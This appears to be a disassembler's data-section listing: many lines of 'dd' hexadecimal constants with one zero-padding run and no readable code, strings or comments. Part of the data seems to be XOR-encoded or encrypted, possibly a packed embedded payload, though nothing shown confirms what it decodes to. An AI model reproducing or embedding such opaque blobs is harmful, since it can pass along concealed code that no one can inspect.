dd 0C9ADB2FEh, 848E0F1Eh, 0ADE0D651h, 838930A0h, 0D9569A72h
dd 578B467Bh, 0B4FD1889h, 97F9E38Eh, 0D1E619EEh, 67A86EF4h
dd 75941303h, 0A8194072h, 89049A7Dh, 3FBDFCD4h, 4E82AFA6h
dd 0A89D4690h, 0DAAA849Bh, 0A1E0CCCCh, 0F40337F4h, 1D2280D0h
dd 0E163DC76h, 4D643368h, 0BE5F539Eh, 0B0A1C8Bh, 0C1C39EDAh
dd 798B0ACh, 0E85D1242h, 134979ACh, 84940DBCh, 9FEDFE68h
dd 0E1344D5Bh, 2B81D8BFh, 44938E6Ah, 0B9550443h, 6D20CE91h
dd 0C6E07AE0h, 9AB8F2Eh, 0CF6D6C04h, 1DEF2949h, 922E7D22h
dd 0C679BE0Ah, 165DE2DFh, 290C55B6h, 73590047h, 6D2BD641h
dd 0F9262C16h, 0D5A8E749h, 8C4568B8h, 28D89390h, 0C0E3B46Ch
dd 0ED9832D0h, 0AA6DC535h, 67BB06E2h, 319ACCA4h, 50654AEAh
dd 0BB213193h, 3C7CC574h, 47E52654h, 0DC01A36h, 56F0CB90h
dd 993B3FDEh, 5F1DFC2Ch, 45D7135Ah, 0C087C4h, 0A17CD225h
dd 7761147Ch, 0CD2E074Eh, 918E9AD8h, 5FDB76D9h, 0A7CE19Dh
dd 558FDB1Ah, 1B51C068h, 59FD6FE5h, 42EFA48Dh, 6DB7E3D8h
dd 0F38C6BD6h, 9B58AD18h, 0B95575FCh, 95E82489h, 4C05A8F8h
dd 0E89553D0h, 80A374ACh, 74DBB7FFh, 53290050h, 7155C612h
dd 0F059CC63h, 0ABA78E36h, 8B8A362Bh, 4A9A405Ah, 0FE97217Ah
dd 357E6A0Eh, 40A8BB7Dh, 80077BABh, 1F5DBC84h, 0D7034246h
dd 2E0318C8h, 71E307FEh, 5012BC26h, 0BEF4CD67h, 33C6D95Eh
dd 5A1B36F0h, 3F06687Fh, 15BFB2D6h, 8B9D4C28h, 28FAA422h
dd 777790DFh, 550CF11Eh, 6008DB0Fh, 62026C1Ah, 0FBFAEBF9h
dd 454FD22Dh, 0DE21A938h, 0D7331E0Fh, 878E6857h, 5EAEA0AEh
dd 63EC2826h, 0B02F2B48h, 482B4C14h, 7E451366h, 4BCA5C4Bh
dd 0FF839E9Ah, 742C716Ch, 9D30A6C1h, 57F9F010h, 0C9C18BE2h
dd 51A7674h, 1B6F328Dh, 5B7A8BFBh, 21330F2Ah, 76C34C9Ah
dd 0A2B7CA73h, 7DC9D0A8h, 395490EDh, 8AFC4644h, 0D50F5B9Ah
dd 9BD938E8h, 0D97DEE65h, 0C26F2C0Dh, 0ED376359h, 0B289EB56h
dd 317B0ED7h, 663259CEh, 9DF5A296h, 0A8A022C5h, 68AFB393h
dd 5705F42Ch, 2848BADEh, 6B0F65F3h, 0C812E0Fh, 6F3DF5E7h
dd 0F50E69D8h, 8B8E81A2h, 0B2C34E98h, 977EA027h, 6D67EA7Eh
dd 8248C550h, 3B024DABh, 99F5355Ch, 75C8C769h, 2CE50898h
dd 878F370h, 2083544Ch, 3B878F35h, 243E0F0h, 472B0B28h
dd 284B6C74h, 103DFA06h, 5B011134h, 0D72C6660h, 62A45BA1h
dd 0AD772322h, 72591071h, 0BC76B20Eh, 0FF0DA590h, 0BDCF62E6h
dd 0E5808EBh, 51832706h, 1845B45Ch, 0F2F80C1h, 0FB386F37h
dd 0F22E6C87h, 0F427CC3Ch, 0FBA06A1Fh, 3E087715h, 81F33796h
dd 57D5E4ECh, 0D437B272h, 0FD96883Ah, 1CD681E3h, 5F2DC5B0h
dd 21EFC206h, 0F071B24Ch, 0C837D390h, 17A6148Ch, 45B0DF44h
dd 660BA044h, 0C9EB4F16h, 0FB08884h, 2D26EE5Ah, 18709175h
dd 9B91FAAh, 1C5C9D59h, 0D5262C0h, 5AC575BAh, 4EC59672h
dd 2436BA2Ch, 194AD2Fh, 6BE1F8DFh, 0A5B3AECAh, 6044FF58h
dd 8D95C2F9h, 0DAEADB40h, 0D1ABB251h, 0F66109DEh, 4D0552C6h
dd 38D0B115h, 78BF63C3h, 715A41Ch, 0D13B6A3Eh, 54097836h
dd 801F7B98h, 1988BC84h, 458A0A28h, 82FDED12h, 16ED0EDAh
dd 4C6E6264h, 79FCC567h, 0C4497097h, 0DD1C2632h, 0C83467A9h
dd 57D1259h, 6259A3A8h, 6872DAC2h, 9EB18119h, 2D07CA2Eh
dd 0F18E9070h, 0A07FDB35h, 77071CA4h, 42E862A6h, 0FAEE069h
dd 0C10F32CDh, 9FE5F5DCh, 7AEE81FEh, 32F16686h, 0BE26892h
dd 78DC36Ch, 75DF125Eh, 0A417F9CAh, 480045F2h, 3FF362F7h
dd 3209EA2Dh, 6B9333A0h, 825EFFB7h, 0C619F961h, 0A56F4276h
dd 65B58858h, 0B48A19AFh, 0F7D55668h, 53022F3h, 8A98F81Ch
dd 86CB1113h, 962A04DEh, 508C15FFh, 9BC15158h, 581F83E3h
dd 2775C47Ch, 0E75C6A5Eh, 0FBC16B65h, 4672FFD7h, 58B5F7ECh
dd 5D1C19D6h, 0CA61783Ah, 81F1B6B5h, 0E0CEF51Ch, 0A4DBD632h
dd 0D399983Bh, 2530BD92h, 884D1C26h, 25DD4AB9h, 7F762F08h
dd 1C34E11h, 339524ACh, 0F20F357Ch, 6939B412h, 9D60F5CBh
dd 9FDD2CB6h, 64E87EBFh, 36E9C898h, 36538E6Ah, 725BA677h
dd 9F25095Ah, 43859C24h, 13493BD3h, 4AF66C74h, 954FF09Eh
dd 97498359h, 4EA676F7h, 13F80FF4h, 0DE9C4386h, 1BEE8B8Dh
dd 7E2BC600h, 7601DE15h, 0D50D8669h, 93E32BB8h, 8F537311h
dd 68C0B46Ch, 5D866D16h, 0FBE94000h, 0F22E7A40h, 71E5311Dh
dd 0DB19286h, 0F8106C2Eh, 3F4B939Fh, 9150E4DCh, 115DA9C6h
dd 0EAFCAEB9h, 79D3315Dh, 541DFC33h, 25F0E88Ah, 47768BD8h
dd 0AE935E68h, 67270CE7h, 25633E4Eh, 36B252Dh, 8B6066F2h
dd 972A47C0h, 527F02D4h, 0BC79E86Eh, 5E669966h, 0B7B7DC9Fh
dd 72DC0ADEh, 30951789h, 0F96C7DFFh, 0E641B754h, 95CD6A99h
dd 5666F7F8h, 0EB3AEC9h, 0C7C72C17h, 75D8146Eh, 0E628E5FDh
dd 29FBC6F6h, 8CF4C5Dh, 4D6F7E73h, 38D0AC6Eh, 7F8B7B91h
dd 820CA41Ch, 0CDE76AA2h, 0D565B5D1h, 0DC8AF692h, 1F6D7E1Ch
dd 9E5682BBh, 76835714h, 86D30EEAh, 0B89CDCF9h, 0FD779A52h
dd 0C44BA0E1h, 0C1A3AEBh, 4FDD2ECCh, 0A03A82A4h, 0DB813A50h
dd 9B71B32Bh, 0E27F043Ch, 968CCDDEh, 4AD990F0h, 0B9AB5626h
dd 0FA84E3B8h, 454FE2DAh, 1836A6B8h, 0D1F3F585h, 9683BFDCh
dd 0D8B3993h, 70BCF5A8h
dd 31F0AFB3h, 0FA0D5C66h, 0B9641127h, 3CB1C80Ah, 11417615h
dd 63D2ED6Ch, 12271AFCh, 9F7EBB10h, 7CBA620h, 7F1A47ACh
dd 136F32C4h, 6B4145AFh, 42C17E2Ah, 0F7E5AB24h, 9171DFCEh
dd 8564E129h, 4E6BA46Fh, 0FF6F08BFh, 520B9F16h, 0CAF0282Ch
dd 7DBFC23Bh, 68802F6Bh, 2BAF07E7h, 2C395020h, 89299E8Dh
dd 0AB5034D4h, 5C3025AFh, 4B616878h, 524A3815h, 70FEA620h
dd 9BD2C22Fh, 0B0782FBCh, 0F7F841C9h, 0E864336Ah, 8EA0EE22h
dd 0FBF1818Ch, 0B646394Bh, 5116E655h, 4D67CA62h, 0D36CEE30h
dd 5AE77297h, 0AF9F786Fh, 0A5347BC6h, 0B681D85Ah, 0F12C16C1h
dd 4FA2573Ch, 57F72A4Ch, 1C878583h, 0FD59A5ECh, 0D71AE9Dh
dd 0CEA75918h, 5B11ABA7h, 21E3C3FAh, 0DBF30DCCh, 76C6FCF7h
dd 0A107858Dh, 0D16CD632h, 97A9319h, 95CF62E5h, 7589D20Ch
dd 0B00695Bh, 9245C492h, 6512CD6Eh, 0A3E94103h, 0F217822Ah
dd 2F7E6429h, 90AE9276h, 679A1E9Ch, 5EA0CD75h, 736EF677h
dd 0FEA7EB75h, 0E33B2C23h, 0C7B88162h, 0D61DEC1Ah, 352DEE89h
dd 0EBDA70D8h, 94624EAAh, 9240F548h, 98110517h, 9A211312h
dd 0A0093622h, 0AA110512h, 7E7F0FF7h, 1879F580h, 0E112A66Bh
dd 82C8440Ch, 99D627ACh, 83BE22DDh, 90B52FD0h, 9A9C39A8h
dd 66374D26h, 3320A710h, 11B3AEB8h, 0B6C7116Dh, 0AD8C218Bh
dd 0B9823290h, 0CA582269h, 477C8C7Fh, 36DAAA94h, 7B7110E0h
dd 7E600D5Ah, 0A42B4554h, 0B9422C21h, 0E3225637h, 0B0154F30h
dd 0BAFC5908h, 46972D46h, 0DB80C77Dh, 0E1509B16h, 0E1A5E4AFh
dd 0FCCD6AF2h, 5DBECFB5h, 1B3614h, 0BA440808h, 15CF94F8h
dd 961EB882h, 0A1537FC2h, 5C85347Ch, 3DD43AD1h, 0F3DA68F0h
dd 0CF5756BEh, 0AF44B93h, 453FA09Ah, 0C025528Ch, 0F3F03DBh
dd 534834ECh, 210CEDA2h, 7069D042h, 0D96D64DDh, 22D09324h
dd 65204A69h, 0CE908EC8h, 173B8F4h, 0CC7CFCEDh, 8D27C1C2h
dd 1B7E6910h, 0EFCBA620h, 6A54AAB4h, 0A55F4424h, 0EF50C8DBh
dd 3113CE86h, 2795D4E5h, 238759B4h, 8389789Fh, 92A52672h
dd 0FF436EAFh, 96F7F116h, 0A1D8BCE5h, 0E41CFEBAh, 27858640h
dd 2B670FE9h, 46965020h, 79DBD45Ah, 3F278E23h, 17042556h
dd 4C617866h, 152629A2h, 5705F167h, 6882BA14h, 0E399C21Ch
dd 73E1DB73h, 0B7D00C54h, 77A3C55Fh, 82F1980Bh, 0D101AE55h
dd 884EF7ACh, 1C979B3Bh, 0C08AB4BAh, 0E9C9A26Dh, 5D6A43F4h
dd 0E0AFF2D0h, 0A505D7D8h, 0FE538E65h, 43A2DD03h, 2CF72A4Ch
dd 3061B12Fh, 399BA1B2h, 95F3F9C9h, 0D5C43266h, 5E447C25h
dd 0A45CBEFAh, 0E7C5C624h, 5B9EA25Bh, 2CD41070h, 0BDA8694Ah
dd 0FFFD8C3Bh, 70AF62E6h, 73262BBEh, 1E73FE7Ah, 0E486B72Eh
dd 6438653Dh, 93ABC483h, 403EAED2h, 6818CCA4h, 8DE49162h
dd 0AC314838h, 0F2441DE8h, 0CEF673FBh, 1D65FE41h, 4878B390h
dd 0F6E43897h, 6770711Fh, 312E4DFFh, 940A58D9h, 0E19236E9h
dd 840C4EFBh, 89A0FC35h, 0FF13233Bh, 3E7B14F1h, 0D13850FDh
dd 45BDF1AAh, 1819FCE3h, 2042B763h, 69E5C125h, 0F2860AEEh
dd 64A9F4E4h, 61E91142h, 3D5C54h, 7A36D59Bh, 8AA96573h
dd 9617AEBAh, 7B3E67F1h, 97851B4Ah, 65802A3Ch, 0F5A1E626h
dd 0F3F13888h, 79FC3E90h, 1CD92D88h, 7C4465A1h, 7525C67h
dd 9AF47132h, 90B96211h, 429E051Dh, 2603799h, 0A2F93BF7h
dd 4827CC15h, 0A2B8C97Bh, 3CDB21FDh, 4E62B112h, 4008D5Dh
dd 0D1E141Fh, 5444D3F4h, 0C18E8201h, 0DE1587E5h, 8E26D92Bh
dd 5D4AEC05h, 3D9CDD17h, 6005DA18h, 63CCEE03h, 0FB84E3F9h
dd 66EAE402h, 1C9FA29h, 79F36E0Ah, 6CCCEB3Dh, 5D97FAD6h
dd 7EEA8D80h, 0E94BBA5Fh, 0AF10F6BBh, 439A6EF6h, 0FD092D41h
dd 881F9EAAh, 0BDD6824Eh, 8226009h, 53F9F371h, 169F6057h
dd 0C81E9A7Ah, 207A7FB6h, 6B410B29h, 311D8D33h, 0FCE594DCh
dd 0BDB61451h, 2FCC16A0h, 0D5D7E170h, 882DAC45h, 753C6A53h
dd 0A831D848h, 61A26836h, 4795D98Ch, 69426A7Eh, 0B3195391h
dd 79B38D77h, 4DA0DCD4h, 96173A55h, 566427A5h, 91436CDEh
dd 36883A1Dh, 3C56BA2Eh, 4C818004h, 0A26E3174h, 6F50B6E6h
dd 0F5845136h, 0FBF188CAh, 46BB9C5Fh, 0C67014F6h, 8D76E6ABh
dd 0CB3CB539h, 50FBAC99h, 0AF9FBC6Fh, 597501C6h, 2A81C840h
dd 8BEBDF6Ah, 87EC4BDAh, 6D209881h, 13A991E0h, 0F994251Dh
dd 0D58DC684h, 8137FA8Dh, 0D8B79CC0h, 2A9143ABh, 0C9884638h
dd 0A40BB7CDh, 0D6741060h, 20A75B8Bh, 0FFFD9C24h, 0A3E363E6h
dd 0A225AD6Dh, 5172EE7Ah, 1BD2B45Ch, 0B49B17ADh, 0F0384010h
dd 5F227933h, 36094123h, 0F55F9286h, 0C1994848h, 58031E1Ah
dd 47D5E294h, 57FFE2BEh, 4DE87FF6h, 0A92402DDh, 39997A34h
dd 25DFCB52h, 0C23D0D50h, 11B14E9Ah, 4EE191A9h, 3D2FDA3Eh
dd 0FA1EA020h, 0D00DD372h, 9BAE2CB4h, 0D1049D59h, 1B51A82Fh
dd 95137E3Ah, 9B9AC405h, 68C7FA15h, 0DE1960C4h, 0F95B5FC5h
dd 3FDC284Fh, 95E82471h, 0C995EDF8h, 0E82F3313h, 0D78574ACh
dd 0A48B366Eh, 6A756DC0h, 0BAF9C622h, 2B2A0F5Bh, 0B59F6274h
dd 38C37EE0h, 3C82C6CBh, 0B6ADBBC1h, 52E76AFCh, 0A3FB3C4Bh
dd 0D900F5A2h, 375DAC36h, 468AC6EBh, 0ADD2CC15h, 44A0EEAh
dd 379516F4h, 0FAA36C13h, 4EF5B83Eh, 71ED153h, 4FEDEE0Dh
dd 0F5E36855h, 643178A8h, 9E8D6C2Ch, 0E138F0A6h, 0A98CD52Eh
dd 0F3D980C7h, 0ECCB56C2h, 373295A0h, 0B84FD2A4h, 0FB1A38ABh
dd 0F968F50Ah, 68C544ECh, 0F9004512h, 9E69C08Ah, 0D94B86FDh
dd 3E6AFF24h, 82DDF1F6h, 0BF36EF6Ch, 1838ED1h, 0CC35646Ch
dd 8D27CCC2h, 2BECFF10h, 8270E77Ah, 472AF759h, 206F32C4h
dd 0E3C5172Ah, 0B613CE2Ah, 0E7A78C67h, 0AD6DE1CEh, 236D5A1Fh
dd 5EFBE672h, 1180A47Eh, 23FE2B43h, 35E53DCh, 0E6A3EECAh
dd 3785AC0Fh, 7279985Eh, 569C740Ch, 79DB065Ah, 175C5FD4h
dd 58FA2A6h, 0CA69A2F1h, 0A2323610h, 0D2802399h, 1DE7787Ah
dd 0EA2D0575h, 0A9BB46A2h, 71D90C64h, 431EDA67h, 82018104h
dd 0D1012285h, 6FC8AFACh, 0C83AFA7Dh, 134979D4h, 0D90B76E2h
dd 0A70C3EA0h, 0C9D65A75h, 0D45A4705h, 19828D6Eh, 6619C625h
dd 2E9B4940h, 0B31E5D37h, 809BB699h, 0BF2F2407h, 36E36156h
dd 0EDE20756h, 2024417Dh, 72DF84CCh, 0AD77231Ch, 0C5F21603h
dd 4737080Ah, 0DCCD15F2h, 0E6853D7Eh, 552C0265h, 41A9ED8Eh
dd 2EC13149h, 0DD177A1Eh, 62662000h, 0E0CAFBCDh, 1FCF8817h
dd 8DE49176h, 3C314838h, 810306B3h, 88B0E4ECh, 5A2A33A6h
dd 8797090h, 0A91EF6DDh, 5F1DFD34h, 0DEF20E06h, 4B619019h
dd 34BEAE0Ah, 77554DF8h, 3937DA4Eh, 1B3BA714h, 128E9937h
dd 4B32A7EEh, 327F02D4h, 431C416Bh, 6C9A8B5Fh, 0A705064Ch
dd 6A5E083Bh, 28710B39h, 9841AFDh, 0BF3D5F54h, 0FA032E26h
dd 3BA3B07Bh, 6128ADCAh, 0D885845Eh, 8D95DEF1h, 0DC210140h
dd 0AC82D648h, 0EFBD4E68h, 0C2A7089Dh, 833BA189h, 0BE331C59h
dd 90155C4Dh, 0DD25E681h, 6A4948D0h, 978CF6A2h, 0E05E656Ch
dd 63A4F8F6h, 4001583Fh, 61BC9265h, 37A5D4BCh, 0FA7946AEh
dd 0B33938EBh, 5A1B9832h, 3F06687Fh, 13BFB2D6h, 59854DA8h
dd 25E0D134h, 6735F463h, 0D807C61Eh, 744E0AF6h, 6AAB46C9h
dd 8FB6980Fh, 458FE266h, 952C5D38h, 37B16C03h, 64E702DEh
dd 560D03D3h, 25030272h
dd 0B6A6E49Ch, 0D19868D6h, 1DDD851Ah, 0FDED3549h, 0A839EAAh
dd 7C7FBBE8h, 5BCFD77h, 80F9E0D2h, 299D444Dh, 0B0A03B4h
dd 866F32C4h, 5B7F2EEBh, 11885B2Ah, 7AE5A4BEh, 0AD758241h
dd 1DBB71A0h, 0F5C81172h, 942DBC86h, 0C539CCA9h, 0F72617E8h
dd 9AA3EE78h, 379BE2F7h, 359C0F5Eh, 0A019406Fh, 8929BE8Dh
dd 0CAB48AD4h, 57F6404h, 0D3DCDF9h, 0CE332E3Ah, 5705F484h
dd 1CED8FEEh, 0EB281D3Fh, 0B9D346A2h, 0EFCA4D59h, 0B01FE249h
dd 0C3745B48h, 80B62E4Bh, 97A2A427h, 5D74297Eh, 46398A50h
dd 458CD806h, 4E8130D0h, 0BD8FF199h, 0C80047DCh, 84EB9375h
dd 0DFEC4BF6h, 0CEE24DBCh, 1ED8FE3Fh, 0F787F85Ah, 0CF6D890Ch
dd 30A7D256h, 4EB057B5h, 51F45F1h, 2F6209DCh, 32873ADDh
dd 0F2FF0820h, 6629D848h, 0FFE5CA2Fh, 3ACF65E6h, 3DA1D27Ch
dd 0DF0069BAh, 9845C492h, 0AF988272h, 4FF82FDCh, 2B3A05BDh
dd 0F9AF64A0h, 7607751Fh, 5A107715h, 818FB6D7h, 0B6F0E4ECh
dd 0DA7CD36h, 0D3868890h, 0B9093662h, 5F0D4434h, 35D7C206h
dd 2DC188D8h, 34FB4E86h, 1F65147Bh, 3D37DA4Bh, 7E09BC62h
dd 4DF4A3Eh, 8F85AFDAh, 2DDFFB02h, 1B51B868h, 0D13F32BFh
dd 26FFCFBFh, 7D902449h, 1340A8B0h, 37CCA143h, 0BE3B5C50h
dd 7E142023h, 5C2AE183h, 33E4BE0Ch, 20CA1A3h, 73C6h, 156Ah dup(0)
dd 0C2C2C22Ah, 0E6C649C2h, 0BD4A493Eh, 4BC2C2EBh, 0C2F0055Ah
dd 0C22343C2h, 49C6C2C2h, 0B6C6E69Eh, 724B9BE9h, 0C2C2F009h
dd 0EB414A48h, 7A4BC2C2h, 0C2C2F00Dh, 0B62A3B42h, 475A49CAh
dd 29C2C2EBh, 465AC1CBh, 49C2C2EBh, 0D949C099h, 432A4997h
dd 0C7C6E6AEh, 43C2C242h, 0D2D2C72Fh, 0E6BE49C2h, 52774FC6h
dd 7BC2D2FBh, 0C2C2C219h, 702A6631h, 49C2C2C2h, 0C2692A0Ah
dd 3E9C2C2h, 0C2FFBBB6h, 0B5C2C2C3h, 0C22143B0h, 433D3D32h
dd 0AA968CB9h, 0CAB6B1ABh, 0C3C22943h, 2DB7C2C2h, 81C10149h
dd 0BA9249FEh, 92FA43A4h, 0C12BB787h, 0E2B04911h, 0C1DA8849h
dd 0C16F9331h, 0BA43A401h, 0B792B6C0h, 0C7BA43CBh, 0A683A1ADh
dd 2820C7B6h, 0EBEA299Bh, 0B049E6CEh, 31C19BE6h, 8CC675CDh
dd 0C1DEB849h, 45F64939h, 474F31C1h, 0C2D2D383h, 259249A4h
dd 0C2C2F72Ah, 498829C2h, 0D2FB4647h, 0C2C2E7C2h, 0DDB6C6C2h
dd 0C6E6BE49h, 0FB4A774Fh, 496FC2D2h, 0D2800E5Fh, 496669C2h
dd 0D280167Fh, 127749C2h, 9FC2D280h, 1F3CD01h, 7B9191B7h
dd 0C2C2EA81h, 0D2F21849h, 24111E8h, 441D44C3h, 99312014h
dd 0C29D5F01h, 0B82C49C2h, 0A6A010F7h, 0ECC71B17h, 652A0FA9h
dd 8A52A87Ch, 0AEAD2B3Eh, 580BCDD3h, 138495F7h, 72FA9C66h
dd 5F61FD8Dh, 0E60CF646h, 0F4633A95h, 0D1CF51EAh, 0B1FD6B50h
dd 0E917094Bh, 0D07463F7h, 0B4FD4610h, 0C7B33C6Bh, 70FDFB13h
dd 795A076Ch, 0CCF281CAh, 0D9941FAFh, 0C7FB5281h, 0C23F6941h
dd 0EB1FDCB2h, 0FEB6F28Dh, 0A9AE85E6h, 0ABE90FA9h, 9B8256Fh
dd 560D893Ch, 7DC250B0h, 87DEF734h, 143F9C12h, 8B06A4B3h
dd 0C073A0A6h, 5A9CCC8Ch, 0EC97717Fh, 93E9DE43h, 1BCB0D8Eh
dd 0A2B4AFD1h, 822839D2h, 4EC70D2Dh, 0C53AE406h, 0A19C1EEh
dd 91B2437h, 0FF8EAB00h, 0F6250063h, 0C2405754h, 0F44CE2CAh
dd 1BDA5CF8h, 0A0932B28h, 0B546C7EDh, 4C37150Eh, 72CA5060h
dd 0BB68AD54h, 12D187FCh, 121A107Ah, 5675A3F6h, 0D0D3374Ah
dd 7F565F16h, 0FC174F6Ch, 12D2CB35h, 0A8BB1FE0h, 42A4BA73h
dd 0DFEFD952h, 62FE5AF7h, 0EDA2F5F6h, 1AE99F4Ch, 3E0934A7h
dd 63DEBB90h, 3408AFA1h, 989DEC14h, 0DDFF4A9Ah, 85D086E5h
dd 1B8025D6h, 1D40C317h, 40E02F6Ah, 767E8387h, 9D24FDAFh
dd 22A1A932h, 0B12F6D61h, 51614C78h, 77435514h, 0FB736F86h
dd 8CF30122h, 0A64D73A0h, 2DD42DFFh, 5291F962h, 0E05019B7h
dd 7E35F10Ah, 78C3850Ch, 2A6D9F3Ch, 0D406B1F0h, 0D7F71C7Ch
dd 0E87A359Eh, 172E77A5h, 94BF3734h, 0AF0529B0h, 7676CAB6h
dd 0B2B9DF32h, 6C17E1EFh, 6EFAAA9h, 414BE71Eh, 384BAD17h
dd 0FA552CADh, 2FBE5338h, 0A68EE645h, 8A896F62h, 9E539535h
dd 0B0D52B90h, 69B3D6Eh, 2E3D9390h, 65A16A2h, 83A59346h
dd 30144363h, 0B7109CACh, 0DC89FFB7h, 7503EAE0h, 0F8E91E56h
dd 60FC8414h, 0A41F09CCh, 0BCF5B747h, 0D5D8C526h, 6A39E13Eh
dd 0F38681A5h, 66550B5h, 0F2BE168Eh, 3D91A75Ah, 51E048B2h
dd 0EED55AB0h, 0BE65F0FDh, 0EA860FDCh, 8352AEABh, 0CDAD2B39h
dd 48350753h, 8DFB04B4h, 8130F863h, 1E05AAD4h, 0E2128CDh
dd 0C3AABF0Ch, 53262005h, 0E6C422D5h, 89E3952Eh, 1FBC1784h
dd 0B49F162Ah, 4E0F0CB3h, 103C0C60h, 79786C68h, 0F574C1A0h
dd 4CCDF1F7h, 0DB1E2066h, 6B0157C1h, 0E4DF59ABh, 0F87785h
dd 0F6ECFA19h, 0E7ED9217h, 0BC47311Ah, 11906096h, 8CC9764Ah
dd 3FA562A9h, 72838992h, 85E3A1D1h, 226177B5h, 0B0EDC479h
dd 9E7B096Ah, 4AE67BC0h, 5C400DF4h, 0B2C9271Eh, 2E7739D2h
dd 348782E8h, 0E54CB508h, 0A19C112h, 5C2312E2h, 36CF4778h
dd 0A2CF36EEh, 883DDC44h, 9E4F0362h, 8E4F51FAh, 0A0F1F93Eh
dd 0EB59452Ch, 0B3673EE0h, 76B30DF5h, 0FD32B23Eh, 1545886Bh
dd 0A99F9973h, 2E65B37Dh, 0DC68FCA6h, 5225F7Ch, 1186D429h
dd 96CD1BB0h, 0BCFF9883h, 0A2EE37F4h, 74859D12h, 0FBBA1C72h
dd 33CB28h, 6FA64FC9h, 2D1A491Eh, 0D7C5BB80h, 8B8B4D5Eh
dd 90042351h, 0F66F1EE7h, 0F2FC6501h, 0B01642A3h, 4F87D7CBh
dd 0E958D17Ah, 766DA99Ch, 36B96851h, 0DDE69714h, 24318F77h
dd 0A4E529B8h, 0B6D6AA14h, 43197FD2h, 8CF70062h, 2FAC30B7h
dd 0EF7F09F2h, 6C1B52ABh, 926CD922h, 4103560Bh, 44938576h
dd 0B4FC606Bh, 0B9C7A1A4h, 90FB3FB0h, 9A7FA34Dh, 0A6A5884Ah
dd 0FEAF630Ah, 3890DCF2h, 0C5E32588h, 0C965BBCCh, 6C126702h
dd 9724C840h, 9D72B7FDh, 323198C2h, 0B87E8B27h, 0AD36770Ch
dd 0D84716F4h, 842EBEDDh, 0C837113Ah, 0E66C7DC0h, 0DD646E3Eh
dd 6261E98Ah, 962927h, 2AD17C77h, 16861ADEh, 0D2D9BF93h
dd 3348BCCFh, 0C098A4B3h, 13EB7D80h, 0BA85869Ah, 0F31F19F3h
dd 80D3A6B7h, 0C5ACC536h, 6A39E1DAh, 837C4FB3h, 7C078BCFh
dd 423BF78Eh, 0AA91DD64h, 0D46B49C3h, 0EEAFA713h, 0BAF1F26h
dd 0CC9BF008h, 0ACE37ED2h, 0AE640800h, 0A7F43204h, 67B27239h
dd 55EDF902h, 8BEAC3B9h, 30E39B6Ch, 9697B9Fh, 0DC7F09A2h
dd 0F6FD59BCh, 885B7345h, 0A2311785h, 0B48F2962h, 4E65C338h
dd 60C3FC12h, 7A99EF6Ch, 0F324D79Bh, 36F3A935h, 94F2067Eh
dd 29748750h, 691CB750h, 0EEAC0E9Dh, 5EC57E6h, 0AAF92136h
dd 0FE0BB493h, 40F5CBE0h, 24FBDD4Eh, 773A984Bh, 7D5DD9F2h
dd 4BE9CA2Eh, 0A135D051h, 9B5C3AE0h, 7968316Ah, 867D45F2h
dd 0DA9B8817h, 0EE622764h, 210C5890h, 3BB8B2E6h, 1AD1AA62h
dd 797D9CB9h, 4F93C7E6h, 36C9C875h, 0BA6FCE82h, 0E29F3228h
dd 952A1B61h, 0E763668Ch, 0A0C2703Ah, 0DB3C5D6Fh, 2571A4FEh
dd 7C0BE0Ch, 16029D4Eh, 51C1C6F3h, 50FEFC00h, 5107E3ADh
dd 0A3A020C5h, 98EA5F3Dh, 997310BFh, 0F9B06EE2h, 0C0EF787Ah
dd 26705296h, 319D8A42h, 3A209779h, 6146879Eh, 68BA8F28h
dd 4923C04Fh, 0AA42D4D4h, 0A8E72836h, 9C325507h, 0EC4C09F3h
dd 0DB956707h, 0E4074CBEh, 2BAC4DF4h, 35E1D11Eh, 1F298EBCh
dd 678F98C3h, 56C2EE57h, 5D5BC487h, 88E526D5h, 0AC263064h
dd 9B6B0D85h, 0CBF77838h, 0CF0B6F45h, 0CC6A4892h, 30E8B520h
dd 173AAD47h, 1B72F3C9h, 7CFAC312h, 5000CC59h, 5980B1FFh
dd 0BAF40D04h, 851209ABh, 0E79677C1h, 0F0C04476h, 0E6604FADh
dd 2C875BD7h, 1DB98E69h, 943958Fh, 6FAB8B2Dh, 7905E872h
dd 3260C299h, 908BDC15h, 8E253E4Dh, 0B15B11E7h, 0FEEC385Ch
dd 0EF15746Ch, 0B65344F9h, 1EEF5829h, 0B02A5A1h, 0C8A87CDh
dd 6BE28339h, 4C6CC3A2h, 73BCC2D9h, 0BED82764h, 8F793A8Dh
dd 0F8AA03D1h, 0F6206858h, 0D67D70BEh, 0FF8C4129h, 20328826h
dd 1D4CB6AAh, 15C19715h, 595DEE5Ch, 6E55F8FEh, 8FF4DB0Dh
dd 0BD1F39A3h, 0EE8404F6h, 0EEC60539h, 0F9167D9Ch, 0ACA452CFh
dd 25C24950h, 6B78BEBBh, 88A186h, 54BF8D61h, 7B76FC9Ah
dd 2C0D635h, 0BE31DA52h, 0A84202FAh, 93910216h, 0FA2F096Fh
dd 0D64475EDh, 0B4CE5A07h, 811A66Bh, 34A6B9FFh, 7AFC8205h
dd 6912ED99h, 5F9E9BD0h, 55CED90Dh, 0B76C2E80h, 8D9936E6h
dd 97E11664h, 0C513608Bh, 0DA8872D2h, 0CB22584Ch, 3F5BADBFh
dd 3EFBB822h, 7725854Dh, 786EE5E3h, 2EE6CC34h, 0B40AC761h
dd 0B65009E9h, 98D9610Fh, 0F3071F81h, 0EA9B79EDh, 0DEC8511Dh
dd 371A5EB7h, 3BBEBCFCh, 4FDE568h, 6B6C8D9Fh, 75A1F4CEh
dd 78BDCE7Ch, 0AD69FE9Ah
dd 0B2942325h, 912C0650h, 0C025708Bh, 0C5F15622h, 0EA3C5B4Dh
dd 2954AEF8h, 1EC8A813h, 3B1FA33Eh, 66A0E2E6h, 47FACA17h
dd 501ADABCh, 93A70BA6h, 9EC83A0Eh, 997424BFh, 0F9AF5BC2h
dd 0DBC8786Dh, 0F6579E4h, 3DB9B923h, 80A947Dh, 744090A5h
dd 1A97E025h, 5C18D564h, 0AF6BD5E5h, 968B2832h, 97112840h
dd 0EB4D29FCh, 0EDE6760Bh, 0D5184A92h, 3E873FF2h, 32C2A135h
dd 21E8E83h, 8B592C7h, 50E1E34Ah, 576ADD8Dh, 0BC8C15CCh
dd 8C222062h, 95740AA1h, 0C2F77838h, 0C3384A54h, 0D662548Ch
dd 3FF3A832h, 0B36AD53h, 155AA7E6h, 5E93EB03h, 431BC848h
dd 5591D4EEh, 0B7E83F02h, 851E10A2h, 82A805CBh, 0C1C37D50h
dd 0C1664AB6h, 34B050D2h, 3DD7A67Eh, 2568EBEh, 72BE9233h
dd 7F25E46Ch, 7372F0F4h, 0B69ECD01h, 0DE25265Ch, 835C09E5h
